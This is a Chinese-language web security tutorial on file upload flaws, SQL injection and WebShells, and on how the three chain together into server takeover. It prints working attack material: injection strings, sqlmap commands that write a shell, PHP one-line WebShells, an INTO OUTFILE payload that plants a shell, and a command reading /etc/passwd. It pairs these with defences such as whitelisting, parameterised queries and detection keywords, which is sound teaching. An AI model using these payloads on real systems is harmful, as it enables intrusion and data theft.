深入解析三大Web安全威胁:文件上传漏洞、SQL注入漏洞与WebShell
文章目录
文件上传漏洞
文件上传漏洞(File Upload Vulnerability)
当Web应用允许用户上传文件但未实施充分的安全验证时,攻击者可上传恶意文件(如WebShell、病毒等),进而控制服务器或实施攻击
核心漏洞成因
1,验证缺失:
- 文件类型仅验证MIME类型(易伪造)
- 未验证文件内容签名(如PNG头)
- 未限制危险扩展名(.php, .jsp等)
2,路径控制问题:
- 允许用户控制上传路径
- 未隔离上传目录的执行权限
3,解析漏洞利用:
- Apache:shell .php .jpg 可能被解析为PHP
- IIS:shell .asp; .jpg 被当作ASP执行
- Nginx:shell .jpg/ .php 路径解析漏洞
攻击流程:
#mermaid-svg-tperggx4jVUu3aDZ {font-family:\"trebuchet ms\",verdana,arial,sans-serif;font-size:16px;fill:#333;}#mermaid-svg-tperggx4jVUu3aDZ .error-icon{fill:#552222;}#mermaid-svg-tperggx4jVUu3aDZ .error-text{fill:#552222;stroke:#552222;}#mermaid-svg-tperggx4jVUu3aDZ .edge-thickness-normal{stroke-width:2px;}#mermaid-svg-tperggx4jVUu3aDZ .edge-thickness-thick{stroke-width:3.5px;}#mermaid-svg-tperggx4jVUu3aDZ .edge-pattern-solid{stroke-dasharray:0;}#mermaid-svg-tperggx4jVUu3aDZ .edge-pattern-dashed{stroke-dasharray:3;}#mermaid-svg-tperggx4jVUu3aDZ .edge-pattern-dotted{stroke-dasharray:2;}#mermaid-svg-tperggx4jVUu3aDZ .marker{fill:#333333;stroke:#333333;}#mermaid-svg-tperggx4jVUu3aDZ .marker.cross{stroke:#333333;}#mermaid-svg-tperggx4jVUu3aDZ svg{font-family:\"trebuchet ms\",verdana,arial,sans-serif;font-size:16px;}#mermaid-svg-tperggx4jVUu3aDZ .label{font-family:\"trebuchet ms\",verdana,arial,sans-serif;color:#333;}#mermaid-svg-tperggx4jVUu3aDZ .cluster-label text{fill:#333;}#mermaid-svg-tperggx4jVUu3aDZ .cluster-label span{color:#333;}#mermaid-svg-tperggx4jVUu3aDZ .label text,#mermaid-svg-tperggx4jVUu3aDZ span{fill:#333;color:#333;}#mermaid-svg-tperggx4jVUu3aDZ .node rect,#mermaid-svg-tperggx4jVUu3aDZ .node circle,#mermaid-svg-tperggx4jVUu3aDZ .node ellipse,#mermaid-svg-tperggx4jVUu3aDZ .node polygon,#mermaid-svg-tperggx4jVUu3aDZ .node path{fill:#ECECFF;stroke:#9370DB;stroke-width:1px;}#mermaid-svg-tperggx4jVUu3aDZ .node .label{text-align:center;}#mermaid-svg-tperggx4jVUu3aDZ .node.clickable{cursor:pointer;}#mermaid-svg-tperggx4jVUu3aDZ .arrowheadPath{fill:#333333;}#mermaid-svg-tperggx4jVUu3aDZ .edgePath .path{stroke:#333333;stroke-width:2.0px;}#mermaid-svg-tperggx4jVUu3aDZ .flowchart-link{stroke:#333333;fill:none;}#mermaid-svg-tperggx4jVUu3aDZ .edgeLabel{background-color:#e8e8e8;text-align:center;}#mermaid-svg-tperggx4jVUu3aDZ .edgeLabel rect{opacity:0.5;background-color:#e8e8e8;fill:#e8e8e8;}#mermaid-svg-tperggx4jVUu3aDZ .cluster rect{fill:#ffffde;stroke:#aaaa33;stroke-width:1px;}#mermaid-svg-tperggx4jVUu3aDZ .cluster text{fill:#333;}#mermaid-svg-tperggx4jVUu3aDZ .cluster span{color:#333;}#mermaid-svg-tperggx4jVUu3aDZ div.mermaidTooltip{position:absolute;text-align:center;max-width:200px;padding:2px;font-family:\"trebuchet ms\",verdana,arial,sans-serif;font-size:12px;background:hsl(80, 100%, 96.2745098039%);border:1px solid #aaaa33;border-radius:2px;pointer-events:none;z-index:100;}#mermaid-svg-tperggx4jVUu3aDZ :root{--mermaid-font-family:\"trebuchet ms\",verdana,arial,sans-serif;} 攻击者构造恶意文件 绕过前端验证 伪造Content-Type/文件头 利用解析漏洞 上传至服务器 通过URL直接访问执行
高危扩展名示例:
防御方案:
1.文件验证三原则:
- 扩展名白名单(仅允许.jpg/.png等)
- 文件内容签名检测(验证真实类型)
- 重命名文件(使用随机哈希值)
2.权限控制:
# Nginx配置示例:禁止上传目录执行脚本location ^~ /uploads/ { location ~ \\.php$ { deny all; } # 仅禁止上传目录的PHP执行}
3.沙箱隔离:
- 使用独立域名托管用户文件
- 云存储服务(如AWS S3)设置只读权限
SQL注入漏洞
SQL注入漏洞(SQL Injection)
攻击者通过操纵应用程序的数据库查询,插入恶意SQL代码,从而读取、修改或删除数据库内容
漏洞关键点
?id=1\' or 1=1 --+
?id=1 union select database()
等等
注入类型
自动化攻击工具
- sqlmap:自动检测并利用SQL注入
- 常用命令
sqlmap -u \"http://site.com/?id=1\" --dbssqlmap -u \"http://site.com/?id=1\" --file-write=shell.php --file-dest=/var/www/html/shell.php --os-shell
防御策略
1.参数化查询(最佳实践)
# Python示例cursor.execute(\"SELECT * FROM users WHERE id = %s\", (user_id,))
2.深度防御
- 输入过滤:过滤 ’ \" ; –+ 等特殊字符
- 最小权限:数据库账户禁用FILE、DROP等权限
- WAF规则:拦截常见注入模式(如UNION SELECT)
WebShell
WebShell
一种驻留在Web服务器上的恶意脚本文件,为攻击者提供远程控制接口
常见WebShell功能
<?phpif(isset($_GET[\'cmd\'])) { system($_GET[\'cmd\']);}?>
最经典的WebShell
一句话木马
<?php @eval($_POST[hhh]); ?>
高级WebShell特性
1.隐蔽通信:
- 加密传输(AES/Base64)
- 伪装成图片文件( 后接图片数据)
2.多功能模块:
- 数据库管理
- 文件管理器
- 内网扫描
- 端口转发
植入路径统计
检测与清除
1.特征检测:
- 关键词:eval( )、system( )、base64_decode( )
- 文件哈希:对比官方文件校验值
2.行为监控:
# Linux实时监控Web目录auditctl -w /var/www/html -p wa -k webshell # 监控write+attribute变更
3.专业工具:
- 开源:河马WebShell查杀、LMD
- 商业:阿里云云盾、腾讯云网站管家
三者的核心关联:攻击链闭环
#mermaid-svg-F16ELHJqKSw00zL2 {font-family:\"trebuchet ms\",verdana,arial,sans-serif;font-size:16px;fill:#333;}#mermaid-svg-F16ELHJqKSw00zL2 .error-icon{fill:#552222;}#mermaid-svg-F16ELHJqKSw00zL2 .error-text{fill:#552222;stroke:#552222;}#mermaid-svg-F16ELHJqKSw00zL2 .edge-thickness-normal{stroke-width:2px;}#mermaid-svg-F16ELHJqKSw00zL2 .edge-thickness-thick{stroke-width:3.5px;}#mermaid-svg-F16ELHJqKSw00zL2 .edge-pattern-solid{stroke-dasharray:0;}#mermaid-svg-F16ELHJqKSw00zL2 .edge-pattern-dashed{stroke-dasharray:3;}#mermaid-svg-F16ELHJqKSw00zL2 .edge-pattern-dotted{stroke-dasharray:2;}#mermaid-svg-F16ELHJqKSw00zL2 .marker{fill:#333333;stroke:#333333;}#mermaid-svg-F16ELHJqKSw00zL2 .marker.cross{stroke:#333333;}#mermaid-svg-F16ELHJqKSw00zL2 svg{font-family:\"trebuchet ms\",verdana,arial,sans-serif;font-size:16px;}#mermaid-svg-F16ELHJqKSw00zL2 .label{font-family:\"trebuchet ms\",verdana,arial,sans-serif;color:#333;}#mermaid-svg-F16ELHJqKSw00zL2 .cluster-label text{fill:#333;}#mermaid-svg-F16ELHJqKSw00zL2 .cluster-label span{color:#333;}#mermaid-svg-F16ELHJqKSw00zL2 .label text,#mermaid-svg-F16ELHJqKSw00zL2 span{fill:#333;color:#333;}#mermaid-svg-F16ELHJqKSw00zL2 .node rect,#mermaid-svg-F16ELHJqKSw00zL2 .node circle,#mermaid-svg-F16ELHJqKSw00zL2 .node ellipse,#mermaid-svg-F16ELHJqKSw00zL2 .node polygon,#mermaid-svg-F16ELHJqKSw00zL2 .node path{fill:#ECECFF;stroke:#9370DB;stroke-width:1px;}#mermaid-svg-F16ELHJqKSw00zL2 .node .label{text-align:center;}#mermaid-svg-F16ELHJqKSw00zL2 .node.clickable{cursor:pointer;}#mermaid-svg-F16ELHJqKSw00zL2 .arrowheadPath{fill:#333333;}#mermaid-svg-F16ELHJqKSw00zL2 .edgePath .path{stroke:#333333;stroke-width:2.0px;}#mermaid-svg-F16ELHJqKSw00zL2 .flowchart-link{stroke:#333333;fill:none;}#mermaid-svg-F16ELHJqKSw00zL2 .edgeLabel{background-color:#e8e8e8;text-align:center;}#mermaid-svg-F16ELHJqKSw00zL2 .edgeLabel rect{opacity:0.5;background-color:#e8e8e8;fill:#e8e8e8;}#mermaid-svg-F16ELHJqKSw00zL2 .cluster rect{fill:#ffffde;stroke:#aaaa33;stroke-width:1px;}#mermaid-svg-F16ELHJqKSw00zL2 .cluster text{fill:#333;}#mermaid-svg-F16ELHJqKSw00zL2 .cluster span{color:#333;}#mermaid-svg-F16ELHJqKSw00zL2 div.mermaidTooltip{position:absolute;text-align:center;max-width:200px;padding:2px;font-family:\"trebuchet ms\",verdana,arial,sans-serif;font-size:12px;background:hsl(80, 100%, 96.2745098039%);border:1px solid #aaaa33;border-radius:2px;pointer-events:none;z-index:100;}#mermaid-svg-F16ELHJqKSw00zL2 :root{--mermaid-font-family:\"trebuchet ms\",verdana,arial,sans-serif;} 直接投递 数据库写文件 提权/渗透 提权/渗透 文件上传漏洞 WebShell SQL注入漏洞 服务器控制
1.文件上传漏洞 → WebShell
- 直接通道:攻击者利用上传功能将WebShell伪装成图片/文档上传至服务器
- 关键点:绕过文件类型检测(如修改Content-Type为image/jpeg)
- 结果:通过访问上传路径直接获得服务器控制权(如 http://site.com/uploads/shell.jpg)
2.SQL注入漏洞 → WebShell
- 间接通道:当注入点具备 写文件权限(FILE权限 + secure_file_priv宽松)时:
UNION SELECT \"<?php system($_GET[\'cmd\']); ?>\"INTO OUTFILE \'/var/www/html/shell.php\'--+
- 关键点:需已知Web绝对路径(通过报错/暴力猜解获取)
- 结果:在Web目录生成WebShell文件(如 shell.php)
3.WebShell → 扩大攻击面
- 控制服务器:通过WebShell执行命令(如 cat /etc/passwd)
- 反哺漏洞:
读取服务器配置文件 → 发现数据库账号密码 → 发动更深度SQL注入
扫描网站源码 → 发现新上传点 → 利用文件上传漏洞二次渗透 - 横向移动:以当前服务器为跳板,攻击内网其他系统
防御关键:切断攻击链


